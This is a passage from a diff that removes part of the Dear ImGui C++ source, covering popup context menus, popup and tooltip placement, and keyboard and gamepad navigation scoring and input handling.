OpenPopupEx(id, popup_flags); - return BeginPopupEx(id, ImGuiWindowFlags_AlwaysAutoResize | ImGuiWindowFlags_NoTitleBar | ImGuiWindowFlags_NoSavedSettings); -} - -bool ImGui::BeginPopupContextVoid(const char* str_id, ImGuiPopupFlags popup_flags) -{ - ImGuiWindow* window = GImGui->CurrentWindow; - if (!str_id) - str_id = "void_context"; - ImGuiID id = window->GetID(str_id); - int mouse_button = (popup_flags & ImGuiPopupFlags_MouseButtonMask_); - if (IsMouseReleased(mouse_button) && !IsWindowHovered(ImGuiHoveredFlags_AnyWindow)) - if (GetTopMostPopupModal() == NULL) - OpenPopupEx(id, popup_flags); - return BeginPopupEx(id, ImGuiWindowFlags_AlwaysAutoResize | ImGuiWindowFlags_NoTitleBar | ImGuiWindowFlags_NoSavedSettings); -} - -// r_avoid = the rectangle to avoid (e.g. for tooltip it is a rectangle around the mouse cursor which we want to avoid. for popups it's a small point around the cursor.) -// r_outer = the visible area rectangle, minus safe area padding. If our popup size won't fit because of safe area padding we ignore it. -// (r_outer is usually equivalent to the viewport rectangle minus padding, but when multi-viewports are enabled and monitor -// information are available, it may represent the entire platform monitor from the frame of reference of the current viewport. -// this allows us to have tooltips/popups displayed out of the parent viewport.) -ImVec2 ImGui::FindBestWindowPosForPopupEx(const ImVec2& ref_pos, const ImVec2& size, ImGuiDir* last_dir, const ImRect& r_outer, const ImRect& r_avoid, ImGuiPopupPositionPolicy policy) -{ - ImVec2 base_pos_clamped = ImClamp(ref_pos, r_outer.Min, r_outer.Max - size); - //GetForegroundDrawList()->AddRect(r_avoid.Min, r_avoid.Max, IM_COL32(255,0,0,255)); - //GetForegroundDrawList()->AddRect(r_outer.Min, r_outer.Max, IM_COL32(0,255,0,255)); - - // Combo Box policy (we want a connecting edge) - if (policy == ImGuiPopupPositionPolicy_ComboBox) - { - const ImGuiDir dir_prefered_order[ImGuiDir_COUNT] = { ImGuiDir_Down, ImGuiDir_Right, ImGuiDir_Left, ImGuiDir_Up }; - for (int n = (*last_dir != ImGuiDir_None) ? -1 : 0; n < ImGuiDir_COUNT; n++) - { - const ImGuiDir dir = (n == -1) ? *last_dir : dir_prefered_order[n]; - if (n != -1 && dir == *last_dir) // Already tried this direction? - continue; - ImVec2 pos; - if (dir == ImGuiDir_Down) pos = ImVec2(r_avoid.Min.x, r_avoid.Max.y); // Below, Toward Right (default) - if (dir == ImGuiDir_Right) pos = ImVec2(r_avoid.Min.x, r_avoid.Min.y - size.y); // Above, Toward Right - if (dir == ImGuiDir_Left) pos = ImVec2(r_avoid.Max.x - size.x, r_avoid.Max.y); // Below, Toward Left - if (dir == ImGuiDir_Up) pos = ImVec2(r_avoid.Max.x - size.x, r_avoid.Min.y - size.y); // Above, Toward Left - if (!r_outer.Contains(ImRect(pos, pos + size))) - continue; - *last_dir = dir; - return pos; - } - } - - // Tooltip and Default popup policy - // (Always first try the direction we used on the last frame, if any) - if (policy == ImGuiPopupPositionPolicy_Tooltip || policy == ImGuiPopupPositionPolicy_Default) - { - const ImGuiDir dir_prefered_order[ImGuiDir_COUNT] = { ImGuiDir_Right, ImGuiDir_Down, ImGuiDir_Up, ImGuiDir_Left }; - for (int n = (*last_dir != ImGuiDir_None) ? -1 : 0; n < ImGuiDir_COUNT; n++) - { - const ImGuiDir dir = (n == -1) ? *last_dir : dir_prefered_order[n]; - if (n != -1 && dir == *last_dir) // Already tried this direction? - continue; - - const float avail_w = (dir == ImGuiDir_Left ? r_avoid.Min.x : r_outer.Max.x) - (dir == ImGuiDir_Right ? r_avoid.Max.x : r_outer.Min.x); - const float avail_h = (dir == ImGuiDir_Up ? r_avoid.Min.y : r_outer.Max.y) - (dir == ImGuiDir_Down ? r_avoid.Max.y : r_outer.Min.y); - - // If there not enough room on one axis, there's no point in positioning on a side on this axis (e.g. when not enough width, use a top/bottom position to maximize available width) - if (avail_w < size.x && (dir == ImGuiDir_Left || dir == ImGuiDir_Right)) - continue; - if (avail_h < size.y && (dir == ImGuiDir_Up || dir == ImGuiDir_Down)) - continue; - - ImVec2 pos; - pos.x = (dir == ImGuiDir_Left) ? r_avoid.Min.x - size.x : (dir == ImGuiDir_Right) ? r_avoid.Max.x : base_pos_clamped.x; - pos.y = (dir == ImGuiDir_Up) ? r_avoid.Min.y - size.y : (dir == ImGuiDir_Down) ? r_avoid.Max.y : base_pos_clamped.y; - - // Clamp top-left corner of popup - pos.x = ImMax(pos.x, r_outer.Min.x); - pos.y = ImMax(pos.y, r_outer.Min.y); - - *last_dir = dir; - return pos; - } - } - - // Fallback when not enough room: - *last_dir = ImGuiDir_None; - - // For tooltip we prefer avoiding the cursor at all cost even if it means that part of the tooltip won't be visible. - if (policy == ImGuiPopupPositionPolicy_Tooltip) - return ref_pos + ImVec2(2, 2); - - // Otherwise try to keep within display - ImVec2 pos = ref_pos; - pos.x = ImMax(ImMin(pos.x + size.x, r_outer.Max.x) - size.x, r_outer.Min.x); - pos.y = ImMax(ImMin(pos.y + size.y, r_outer.Max.y) - size.y, r_outer.Min.y); - return pos; -} - -// Note that this is used for popups, which can overlap the non work-area of individual viewports. -ImRect ImGui::GetWindowAllowedExtentRect(ImGuiWindow* window) -{ - ImGuiContext& g = *GImGui; - IM_UNUSED(window); - ImRect r_screen = ((ImGuiViewportP*)(void*)GetMainViewport())->GetMainRect(); - ImVec2 padding = g.Style.DisplaySafeAreaPadding; - r_screen.Expand(ImVec2((r_screen.GetWidth() > padding.x * 2) ? -padding.x : 0.0f, (r_screen.GetHeight() > padding.y * 2) ? -padding.y : 0.0f)); - return r_screen; -} - -ImVec2 ImGui::FindBestWindowPosForPopup(ImGuiWindow* window) -{ - ImGuiContext& g = *GImGui; - - ImRect r_outer = GetWindowAllowedExtentRect(window); - if (window->Flags & ImGuiWindowFlags_ChildMenu) - { - // Child menus typically request _any_ position within the parent menu item, and then we move the new menu outside the parent bounds. - // This is how we end up with child menus appearing (most-commonly) on the right of the parent menu. - IM_ASSERT(g.CurrentWindow == window); - ImGuiWindow* parent_window = g.CurrentWindowStack[g.CurrentWindowStack.Size - 2]; - float horizontal_overlap = g.Style.ItemInnerSpacing.x; // We want some overlap to convey the relative depth of each menu (currently the amount of overlap is hard-coded to style.ItemSpacing.x). - ImRect r_avoid; - if (parent_window->DC.MenuBarAppending) - r_avoid = ImRect(-FLT_MAX, parent_window->ClipRect.Min.y, FLT_MAX, parent_window->ClipRect.Max.y); // Avoid parent menu-bar. If we wanted multi-line menu-bar, we may instead want to have the calling window setup e.g. a NextWindowData.PosConstraintAvoidRect field - else - r_avoid = ImRect(parent_window->Pos.x + horizontal_overlap, -FLT_MAX, parent_window->Pos.x + parent_window->Size.x - horizontal_overlap - parent_window->ScrollbarSizes.x, FLT_MAX); - return FindBestWindowPosForPopupEx(window->Pos, window->Size, &window->AutoPosLastDirection, r_outer, r_avoid, ImGuiPopupPositionPolicy_Default); - } - if (window->Flags & ImGuiWindowFlags_Popup) - { - ImRect r_avoid = ImRect(window->Pos.x - 1, window->Pos.y - 1, window->Pos.x + 1, window->Pos.y + 1); - return FindBestWindowPosForPopupEx(window->Pos, window->Size, &window->AutoPosLastDirection, r_outer, r_avoid, ImGuiPopupPositionPolicy_Default); - } - if (window->Flags & ImGuiWindowFlags_Tooltip) - { - // Position tooltip (always follows mouse) - float sc = g.Style.MouseCursorScale; - ImVec2 ref_pos = NavCalcPreferredRefPos(); - ImRect r_avoid; - if (!g.NavDisableHighlight && g.NavDisableMouseHover && !(g.IO.ConfigFlags & ImGuiConfigFlags_NavEnableSetMousePos)) - r_avoid = ImRect(ref_pos.x - 16, ref_pos.y - 8, ref_pos.x + 16, ref_pos.y + 8); - else - r_avoid = ImRect(ref_pos.x - 16, ref_pos.y - 8, ref_pos.x + 24 * sc, ref_pos.y + 24 * sc); // FIXME: Hard-coded based on mouse cursor shape expectation. Exact dimension not very important. - return FindBestWindowPosForPopupEx(ref_pos, window->Size, &window->AutoPosLastDirection, r_outer, r_avoid, ImGuiPopupPositionPolicy_Tooltip); - } - IM_ASSERT(0); - return window->Pos; -} - -//----------------------------------------------------------------------------- -// [SECTION] KEYBOARD/GAMEPAD NAVIGATION -//----------------------------------------------------------------------------- - -// FIXME-NAV: The existence of SetNavID vs SetFocusID properly needs to be clarified/reworked. -void ImGui::SetNavID(ImGuiID id, int nav_layer, ImGuiID focus_scope_id, const ImRect& rect_rel) -{ - ImGuiContext& g = *GImGui; - IM_ASSERT(g.NavWindow != NULL); - IM_ASSERT(nav_layer == ImGuiNavLayer_Main || nav_layer == ImGuiNavLayer_Menu); - g.NavId = id; - g.NavLayer = (ImGuiNavLayer)nav_layer; - g.NavFocusScopeId = focus_scope_id; - g.NavWindow->NavLastIds[nav_layer] = id; - g.NavWindow->NavRectRel[nav_layer] = rect_rel; - //g.NavDisableHighlight = false; - //g.NavDisableMouseHover = g.NavMousePosDirty = true; -} - -void ImGui::SetFocusID(ImGuiID id, ImGuiWindow* window) -{ - ImGuiContext& g = *GImGui; - IM_ASSERT(id != 0); - - // Assume that SetFocusID() is called in the context where its window->DC.NavLayerCurrent and window->DC.NavFocusScopeIdCurrent are valid. - // Note that window may be != g.CurrentWindow (e.g. SetFocusID call in InputTextEx for multi-line text) - const ImGuiNavLayer nav_layer = window->DC.NavLayerCurrent; - if (g.NavWindow != window) - g.NavInitRequest = false; - g.NavWindow = window; - g.NavId = id; - g.NavLayer = nav_layer; - g.NavFocusScopeId = window->DC.NavFocusScopeIdCurrent; - window->NavLastIds[nav_layer] = id; - if (window->DC.LastItemId == id) - window->NavRectRel[nav_layer] = ImRect(window->DC.LastItemRect.Min - window->Pos, window->DC.LastItemRect.Max - window->Pos); - - if (g.ActiveIdSource == ImGuiInputSource_Nav) - g.NavDisableMouseHover = true; - else - g.NavDisableHighlight = true; -} - -ImGuiDir ImGetDirQuadrantFromDelta(float dx, float dy) -{ - if (ImFabs(dx) > ImFabs(dy)) - return (dx > 0.0f) ? ImGuiDir_Right : ImGuiDir_Left; - return (dy > 0.0f) ? ImGuiDir_Down : ImGuiDir_Up; -} - -static float inline NavScoreItemDistInterval(float a0, float a1, float b0, float b1) -{ - if (a1 < b0) - return a1 - b0; - if (b1 < a0) - return a0 - b1; - return 0.0f; -} - -static void inline NavClampRectToVisibleAreaForMoveDir(ImGuiDir move_dir, ImRect& r, const ImRect& clip_rect) -{ - if (move_dir == ImGuiDir_Left || move_dir == ImGuiDir_Right) - { - r.Min.y = ImClamp(r.Min.y, clip_rect.Min.y, clip_rect.Max.y); - r.Max.y = ImClamp(r.Max.y, clip_rect.Min.y, clip_rect.Max.y); - } - else - { - r.Min.x = ImClamp(r.Min.x, clip_rect.Min.x, clip_rect.Max.x); - r.Max.x = ImClamp(r.Max.x, clip_rect.Min.x, clip_rect.Max.x); - } -} - -// Scoring function for gamepad/keyboard directional navigation. Based on https://gist.github.com/rygorous/6981057 -static bool ImGui::NavScoreItem(ImGuiNavMoveResult* result, ImRect cand) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - if (g.NavLayer != window->DC.NavLayerCurrent) - return false; - - const ImRect& curr = g.NavScoringRect; // Current modified source rect (NB: we've applied Max.x = Min.x in NavUpdate() to inhibit the effect of having varied item width) - g.NavScoringCount++; - - // When entering through a NavFlattened border, we consider child window items as fully clipped for scoring - if (window->ParentWindow == g.NavWindow) - { - IM_ASSERT((window->Flags | g.NavWindow->Flags) & ImGuiWindowFlags_NavFlattened); - if (!window->ClipRect.Overlaps(cand)) - return false; - cand.ClipWithFull(window->ClipRect); // This allows the scored item to not overlap other candidates in the parent window - } - - // We perform scoring on items bounding box clipped by the current clipping rectangle on the other axis (clipping on our movement axis would give us equal scores for all clipped items) - // For example, this ensure that items in one column are not reached when moving vertically from items in another column. - NavClampRectToVisibleAreaForMoveDir(g.NavMoveClipDir, cand, window->ClipRect); - - // Compute distance between boxes - // FIXME-NAV: Introducing biases for vertical navigation, needs to be removed. - float dbx = NavScoreItemDistInterval(cand.Min.x, cand.Max.x, curr.Min.x, curr.Max.x); - float dby = NavScoreItemDistInterval(ImLerp(cand.Min.y, cand.Max.y, 0.2f), ImLerp(cand.Min.y, cand.Max.y, 0.8f), ImLerp(curr.Min.y, curr.Max.y, 0.2f), ImLerp(curr.Min.y, curr.Max.y, 0.8f)); // Scale down on Y to keep using box-distance for vertically touching items - if (dby != 0.0f && dbx != 0.0f) - dbx = (dbx / 1000.0f) + ((dbx > 0.0f) ? +1.0f : -1.0f); - float dist_box = ImFabs(dbx) + ImFabs(dby); - - // Compute distance between centers (this is off by a factor of 2, but we only compare center distances with each other so it doesn't matter) - float dcx = (cand.Min.x + cand.Max.x) - (curr.Min.x + curr.Max.x); - float dcy = (cand.Min.y + cand.Max.y) - (curr.Min.y + curr.Max.y); - float dist_center = ImFabs(dcx) + ImFabs(dcy); // L1 metric (need this for our connectedness guarantee) - - // Determine which quadrant of 'curr' our candidate item 'cand' lies in based on distance - ImGuiDir quadrant; - float dax = 0.0f, day = 0.0f, dist_axial = 0.0f; - if (dbx != 0.0f || dby != 0.0f) - { - // For non-overlapping boxes, use distance between boxes - dax = dbx; - day = dby; - dist_axial = dist_box; - quadrant = ImGetDirQuadrantFromDelta(dbx, dby); - } - else if (dcx != 0.0f || dcy != 0.0f) - { - // For overlapping boxes with different centers, use distance between centers - dax = dcx; - day = dcy; - dist_axial = dist_center; - quadrant = ImGetDirQuadrantFromDelta(dcx, dcy); - } - else - { - // Degenerate case: two overlapping buttons with same center, break ties arbitrarily (note that LastItemId here is really the _previous_ item order, but it doesn't matter) - quadrant = (window->DC.LastItemId < g.NavId) ? ImGuiDir_Left : ImGuiDir_Right; - } - -#if IMGUI_DEBUG_NAV_SCORING - char buf[128]; - if (IsMouseHoveringRect(cand.Min, cand.Max)) - { - ImFormatString(buf, IM_ARRAYSIZE(buf), "dbox (%.2f,%.2f->%.4f)\ndcen (%.2f,%.2f->%.4f)\nd (%.2f,%.2f->%.4f)\nnav %c, quadrant %c", dbx, dby, dist_box, dcx, dcy, dist_center, dax, day, dist_axial, "WENS"[g.NavMoveDir], "WENS"[quadrant]); - ImDrawList* draw_list = GetForegroundDrawList(window); - draw_list->AddRect(curr.Min, curr.Max, IM_COL32(255,200,0,100)); - draw_list->AddRect(cand.Min, cand.Max, IM_COL32(255,255,0,200)); - draw_list->AddRectFilled(cand.Max - ImVec2(4, 4), cand.Max + CalcTextSize(buf) + ImVec2(4, 4), IM_COL32(40,0,0,150)); - draw_list->AddText(g.IO.FontDefault, 13.0f, cand.Max, ~0U, buf); - } - else if (g.IO.KeyCtrl) // Hold to preview score in matching quadrant. Press C to rotate. - { - if (IsKeyPressedMap(ImGuiKey_C)) { g.NavMoveDirLast = (ImGuiDir)((g.NavMoveDirLast + 1) & 3); g.IO.KeysDownDuration[g.IO.KeyMap[ImGuiKey_C]] = 0.01f; } - if (quadrant == g.NavMoveDir) - { - ImFormatString(buf, IM_ARRAYSIZE(buf), "%.0f/%.0f", dist_box, dist_center); - ImDrawList* draw_list = GetForegroundDrawList(window); - draw_list->AddRectFilled(cand.Min, cand.Max, IM_COL32(255, 0, 0, 200)); - draw_list->AddText(g.IO.FontDefault, 13.0f, cand.Min, IM_COL32(255, 255, 255, 255), buf); - } - } -#endif - - // Is it in the quadrant we're interesting in moving to? - bool new_best = false; - if (quadrant == g.NavMoveDir) - { - // Does it beat the current best candidate? - if (dist_box < result->DistBox) - { - result->DistBox = dist_box; - result->DistCenter = dist_center; - return true; - } - if (dist_box == result->DistBox) - { - // Try using distance between center points to break ties - if (dist_center < result->DistCenter) - { - result->DistCenter = dist_center; - new_best = true; - } - else if (dist_center == result->DistCenter) - { - // Still tied! we need to be extra-careful to make sure everything gets linked properly. We consistently break ties by symbolically moving "later" items - // (with higher index) to the right/downwards by an infinitesimal amount since we the current "best" button already (so it must have a lower index), - // this is fairly easy. This rule ensures that all buttons with dx==dy==0 will end up being linked in order of appearance along the x axis. - if (((g.NavMoveDir == ImGuiDir_Up || g.NavMoveDir == ImGuiDir_Down) ? dby : dbx) < 0.0f) // moving bj to the right/down decreases distance - new_best = true; - } - } - } - - // Axial check: if 'curr' has no link at all in some direction and 'cand' lies roughly in that direction, add a tentative link. This will only be kept if no "real" matches - // are found, so it only augments the graph produced by the above method using extra links. (important, since it doesn't guarantee strong connectedness) - // This is just to avoid buttons having no links in a particular direction when there's a suitable neighbor. you get good graphs without this too. - // 2017/09/29: FIXME: This now currently only enabled inside menu bars, ideally we'd disable it everywhere. Menus in particular need to catch failure. For general navigation it feels awkward. - // Disabling it may lead to disconnected graphs when nodes are very spaced out on different axis. Perhaps consider offering this as an option? - if (result->DistBox == FLT_MAX && dist_axial < result->DistAxial) // Check axial match - if (g.NavLayer == ImGuiNavLayer_Menu && !(g.NavWindow->Flags & ImGuiWindowFlags_ChildMenu)) - if ((g.NavMoveDir == ImGuiDir_Left && dax < 0.0f) || (g.NavMoveDir == ImGuiDir_Right && dax > 0.0f) || (g.NavMoveDir == ImGuiDir_Up && day < 0.0f) || (g.NavMoveDir == ImGuiDir_Down && day > 0.0f)) - { - result->DistAxial = dist_axial; - new_best = true; - } - - return new_best; -} - -static void ImGui::NavApplyItemToResult(ImGuiNavMoveResult* result, ImGuiWindow* window, ImGuiID id, const ImRect& nav_bb_rel) -{ - result->Window = window; - result->ID = id; - result->FocusScopeId = window->DC.NavFocusScopeIdCurrent; - result->RectRel = nav_bb_rel; -} - -// We get there when either NavId == id, or when g.NavAnyRequest is set (which is updated by NavUpdateAnyRequestFlag above) -static void ImGui::NavProcessItem(ImGuiWindow* window, const ImRect& nav_bb, const ImGuiID id) -{ - ImGuiContext& g = *GImGui; - //if (!g.IO.NavActive) // [2017/10/06] Removed this possibly redundant test but I am not sure of all the side-effects yet. Some of the feature here will need to work regardless of using a _NoNavInputs flag. - // return; - - const ImGuiItemFlags item_flags = window->DC.ItemFlags; - const ImRect nav_bb_rel(nav_bb.Min - window->Pos, nav_bb.Max - window->Pos); - - // Process Init Request - if (g.NavInitRequest && g.NavLayer == window->DC.NavLayerCurrent) - { - // Even if 'ImGuiItemFlags_NoNavDefaultFocus' is on (typically collapse/close button) we record the first ResultId so they can be used as a fallback - if (!(item_flags & ImGuiItemFlags_NoNavDefaultFocus) || g.NavInitResultId == 0) - { - g.NavInitResultId = id; - g.NavInitResultRectRel = nav_bb_rel; - } - if (!(item_flags & ImGuiItemFlags_NoNavDefaultFocus)) - { - g.NavInitRequest = false; // Found a match, clear request - NavUpdateAnyRequestFlag(); - } - } - - // Process Move Request (scoring for navigation) - // FIXME-NAV: Consider policy for double scoring (scoring from NavScoringRectScreen + scoring from a rect wrapped according to current wrapping policy) - if ((g.NavId != id || (g.NavMoveRequestFlags & ImGuiNavMoveFlags_AllowCurrentNavId)) && !(item_flags & (ImGuiItemFlags_Disabled | ImGuiItemFlags_NoNav))) - { - ImGuiNavMoveResult* result = (window == g.NavWindow) ? &g.NavMoveResultLocal : &g.NavMoveResultOther; -#if IMGUI_DEBUG_NAV_SCORING - // [DEBUG] Score all items in NavWindow at all times - if (!g.NavMoveRequest) - g.NavMoveDir = g.NavMoveDirLast; - bool new_best = NavScoreItem(result, nav_bb) && g.NavMoveRequest; -#else - bool new_best = g.NavMoveRequest && NavScoreItem(result, nav_bb); -#endif - if (new_best) - NavApplyItemToResult(result, window, id, nav_bb_rel); - - // Features like PageUp/PageDown need to maintain a separate score for the visible set of items. - const float VISIBLE_RATIO = 0.70f; - if ((g.NavMoveRequestFlags & ImGuiNavMoveFlags_AlsoScoreVisibleSet) && window->ClipRect.Overlaps(nav_bb)) - if (ImClamp(nav_bb.Max.y, window->ClipRect.Min.y, window->ClipRect.Max.y) - ImClamp(nav_bb.Min.y, window->ClipRect.Min.y, window->ClipRect.Max.y) >= (nav_bb.Max.y - nav_bb.Min.y) * VISIBLE_RATIO) - if (NavScoreItem(&g.NavMoveResultLocalVisibleSet, nav_bb)) - NavApplyItemToResult(&g.NavMoveResultLocalVisibleSet, window, id, nav_bb_rel); - } - - // Update window-relative bounding box of navigated item - if (g.NavId == id) - { - g.NavWindow = window; // Always refresh g.NavWindow, because some operations such as FocusItem() don't have a window. - g.NavLayer = window->DC.NavLayerCurrent; - g.NavFocusScopeId = window->DC.NavFocusScopeIdCurrent; - g.NavIdIsAlive = true; - g.NavIdTabCounter = window->DC.FocusCounterTabStop; - window->NavRectRel[window->DC.NavLayerCurrent] = nav_bb_rel; // Store item bounding box (relative to window position) - } -} - -bool ImGui::NavMoveRequestButNoResultYet() -{ - ImGuiContext& g = *GImGui; - return g.NavMoveRequest && g.NavMoveResultLocal.ID == 0 && g.NavMoveResultOther.ID == 0; -} - -void ImGui::NavMoveRequestCancel() -{ - ImGuiContext& g = *GImGui; - g.NavMoveRequest = false; - NavUpdateAnyRequestFlag(); -} - -void ImGui::NavMoveRequestForward(ImGuiDir move_dir, ImGuiDir clip_dir, const ImRect& bb_rel, ImGuiNavMoveFlags move_flags) -{ - ImGuiContext& g = *GImGui; - IM_ASSERT(g.NavMoveRequestForward == ImGuiNavForward_None); - NavMoveRequestCancel(); - g.NavMoveDir = move_dir; - g.NavMoveClipDir = clip_dir; - g.NavMoveRequestForward = ImGuiNavForward_ForwardQueued; - g.NavMoveRequestFlags = move_flags; - g.NavWindow->NavRectRel[g.NavLayer] = bb_rel; -} - -void ImGui::NavMoveRequestTryWrapping(ImGuiWindow* window, ImGuiNavMoveFlags move_flags) -{ - ImGuiContext& g = *GImGui; - - // Navigation wrap-around logic is delayed to the end of the frame because this operation is only valid after entire - // popup is assembled and in case of appended popups it is not clear which EndPopup() call is final. - g.NavWrapRequestWindow = window; - g.NavWrapRequestFlags = move_flags; -} - -// FIXME: This could be replaced by updating a frame number in each window when (window == NavWindow) and (NavLayer == 0). -// This way we could find the last focused window among our children. It would be much less confusing this way? -static void ImGui::NavSaveLastChildNavWindowIntoParent(ImGuiWindow* nav_window) -{ - ImGuiWindow* parent = nav_window; - while (parent && parent->RootWindow != parent && (parent->Flags & (ImGuiWindowFlags_Popup | ImGuiWindowFlags_ChildMenu)) == 0) - parent = parent->ParentWindow; - if (parent && parent != nav_window) - parent->NavLastChildNavWindow = nav_window; -} - -// Restore the last focused child. -// Call when we are expected to land on the Main Layer (0) after FocusWindow() -static ImGuiWindow* ImGui::NavRestoreLastChildNavWindow(ImGuiWindow* window) -{ - if (window->NavLastChildNavWindow && window->NavLastChildNavWindow->WasActive) - return window->NavLastChildNavWindow; - return window; -} - -void ImGui::NavRestoreLayer(ImGuiNavLayer layer) -{ - ImGuiContext& g = *GImGui; - if (layer == ImGuiNavLayer_Main) - g.NavWindow = NavRestoreLastChildNavWindow(g.NavWindow); - ImGuiWindow* window = g.NavWindow; - if (window->NavLastIds[layer] != 0) - { - SetNavID(window->NavLastIds[layer], layer, 0, window->NavRectRel[layer]); - g.NavDisableHighlight = false; - g.NavDisableMouseHover = g.NavMousePosDirty = true; - } - else - { - g.NavLayer = layer; - NavInitWindow(window, true); - } -} - -static inline void ImGui::NavUpdateAnyRequestFlag() -{ - ImGuiContext& g = *GImGui; - g.NavAnyRequest = g.NavMoveRequest || g.NavInitRequest || (IMGUI_DEBUG_NAV_SCORING && g.NavWindow != NULL); - if (g.NavAnyRequest) - IM_ASSERT(g.NavWindow != NULL); -} - -// This needs to be called before we submit any widget (aka in or before Begin) -void ImGui::NavInitWindow(ImGuiWindow* window, bool force_reinit) -{ - ImGuiContext& g = *GImGui; - IM_ASSERT(window == g.NavWindow); - bool init_for_nav = false; - if (!(window->Flags & ImGuiWindowFlags_NoNavInputs)) - if (window == window->RootWindow || (window->Flags & ImGuiWindowFlags_Popup) || (window->NavLastIds[0] == 0) || force_reinit) - init_for_nav = true; - IMGUI_DEBUG_LOG_NAV("[nav] NavInitRequest: from NavInitWindow(), init_for_nav=%d, window=\"%s\", layer=%d\n", init_for_nav, window->Name, g.NavLayer); - if (init_for_nav) - { - SetNavID(0, g.NavLayer, 0, ImRect()); - g.NavInitRequest = true; - g.NavInitRequestFromMove = false; - g.NavInitResultId = 0; - g.NavInitResultRectRel = ImRect(); - NavUpdateAnyRequestFlag(); - } - else - { - g.NavId = window->NavLastIds[0]; - g.NavFocusScopeId = 0; - } -} - -static ImVec2 ImGui::NavCalcPreferredRefPos() -{ - ImGuiContext& g = *GImGui; - if (g.NavDisableHighlight || !g.NavDisableMouseHover || !g.NavWindow) - { - // Mouse (we need a fallback in case the mouse becomes invalid after being used) - if (IsMousePosValid(&g.IO.MousePos)) - return g.IO.MousePos; - return g.LastValidMousePos; - } - else - { - // When navigation is active and mouse is disabled, decide on an arbitrary position around the bottom left of the currently navigated item. - const ImRect& rect_rel = g.NavWindow->NavRectRel[g.NavLayer]; - ImVec2 pos = g.NavWindow->Pos + ImVec2(rect_rel.Min.x + ImMin(g.Style.FramePadding.x * 4, rect_rel.GetWidth()), rect_rel.Max.y - ImMin(g.Style.FramePadding.y, rect_rel.GetHeight())); - ImGuiViewport* viewport = GetMainViewport(); - return ImFloor(ImClamp(pos, viewport->Pos, viewport->Pos + viewport->Size)); // ImFloor() is important because non-integer mouse position application in backend might be lossy and result in undesirable non-zero delta. - } -} - -float ImGui::GetNavInputAmount(ImGuiNavInput n, ImGuiInputReadMode mode) -{ - ImGuiContext& g = *GImGui; - if (mode == ImGuiInputReadMode_Down) - return g.IO.NavInputs[n]; // Instant, read analog input (0.0f..1.0f, as provided by user) - - const float t = g.IO.NavInputsDownDuration[n]; - if (t < 0.0f && mode == ImGuiInputReadMode_Released) // Return 1.0f when just released, no repeat, ignore analog input. - return (g.IO.NavInputsDownDurationPrev[n] >= 0.0f ? 1.0f : 0.0f); - if (t < 0.0f) - return 0.0f; - if (mode == ImGuiInputReadMode_Pressed) // Return 1.0f when just pressed, no repeat, ignore analog input. - return (t == 0.0f) ? 1.0f : 0.0f; - if (mode == ImGuiInputReadMode_Repeat) - return (float)CalcTypematicRepeatAmount(t - g.IO.DeltaTime, t, g.IO.KeyRepeatDelay * 0.72f, g.IO.KeyRepeatRate * 0.80f); - if (mode == ImGuiInputReadMode_RepeatSlow) - return (float)CalcTypematicRepeatAmount(t - g.IO.DeltaTime, t, g.IO.KeyRepeatDelay * 1.25f, g.IO.KeyRepeatRate * 2.00f); - if (mode == ImGuiInputReadMode_RepeatFast) - return (float)CalcTypematicRepeatAmount(t - g.IO.DeltaTime, t, g.IO.KeyRepeatDelay * 0.72f, g.IO.KeyRepeatRate * 0.30f); - return 0.0f; -} - -ImVec2 ImGui::GetNavInputAmount2d(ImGuiNavDirSourceFlags dir_sources, ImGuiInputReadMode mode, float slow_factor, float fast_factor) -{ - ImVec2 delta(0.0f, 0.0f); - if (dir_sources & ImGuiNavDirSourceFlags_Keyboard) - delta += ImVec2(GetNavInputAmount(ImGuiNavInput_KeyRight_, mode) - GetNavInputAmount(ImGuiNavInput_KeyLeft_, mode), GetNavInputAmount(ImGuiNavInput_KeyDown_, mode) - GetNavInputAmount(ImGuiNavInput_KeyUp_, mode)); - if (dir_sources & ImGuiNavDirSourceFlags_PadDPad) - delta += ImVec2(GetNavInputAmount(ImGuiNavInput_DpadRight, mode) - GetNavInputAmount(ImGuiNavInput_DpadLeft, mode), GetNavInputAmount(ImGuiNavInput_DpadDown, mode) - GetNavInputAmount(ImGuiNavInput_DpadUp, mode)); - if (dir_sources & ImGuiNavDirSourceFlags_PadLStick) - delta += ImVec2(GetNavInputAmount(ImGuiNavInput_LStickRight, mode) - GetNavInputAmount(ImGuiNavInput_LStickLeft, mode), GetNavInputAmount(ImGuiNavInput_LStickDown, mode) - GetNavInputAmount(ImGuiNavInput_LStickUp, mode)); - if (slow_factor != 0.0f && IsNavInputDown(ImGuiNavInput_TweakSlow)) - delta *= slow_factor; - if (fast_factor != 0.0f && IsNavInputDown(ImGuiNavInput_TweakFast)) - delta *= fast_factor; - return delta; -} - -static void ImGui::NavUpdate() -{ - ImGuiContext& g = *GImGui; - ImGuiIO& io = g.IO; - - io.WantSetMousePos = false; - g.NavWrapRequestWindow = NULL; - g.NavWrapRequestFlags = ImGuiNavMoveFlags_None; -#if 0 - if (g.NavScoringCount > 0) IMGUI_DEBUG_LOG("NavScoringCount %d for '%s' layer %d (Init:%d, Move:%d)\n", g.FrameCount, g.NavScoringCount, g.NavWindow ? g.NavWindow->Name : "NULL", g.NavLayer, g.NavInitRequest || g.NavInitResultId != 0, g.NavMoveRequest); -#endif - - // Set input source as Gamepad when buttons are pressed (as some features differs when used with Gamepad vs Keyboard) - // (do it before we map Keyboard input!) - bool nav_keyboard_active = (io.ConfigFlags & ImGuiConfigFlags_NavEnableKeyboard) != 0; - bool nav_gamepad_active = (io.ConfigFlags & ImGuiConfigFlags_NavEnableGamepad) != 0 && (io.BackendFlags & ImGuiBackendFlags_HasGamepad) != 0; - if (nav_gamepad_active && g.NavInputSource != ImGuiInputSource_Gamepad) - { - if (io.NavInputs[ImGuiNavInput_Activate] > 0.0f || io.NavInputs[ImGuiNavInput_Input] > 0.0f || io.NavInputs[ImGuiNavInput_Cancel] > 0.0f || io.NavInputs[ImGuiNavInput_Menu] > 0.0f - || io.NavInputs[ImGuiNavInput_DpadLeft] > 0.0f || io.NavInputs[ImGuiNavInput_DpadRight] > 0.0f || io.NavInputs[ImGuiNavInput_DpadUp] > 0.0f || io.NavInputs[ImGuiNavInput_DpadDown] > 0.0f) - g.NavInputSource = ImGuiInputSource_Gamepad; - } - - // Update Keyboard->Nav inputs mapping - if (nav_keyboard_active) - { - #define NAV_MAP_KEY(_KEY, _NAV_INPUT) do { if (IsKeyDown(io.KeyMap[_KEY])) { io.NavInputs[_NAV_INPUT] = 1.0f; g.NavInputSource = ImGuiInputSource_Keyboard; } } while (0) - 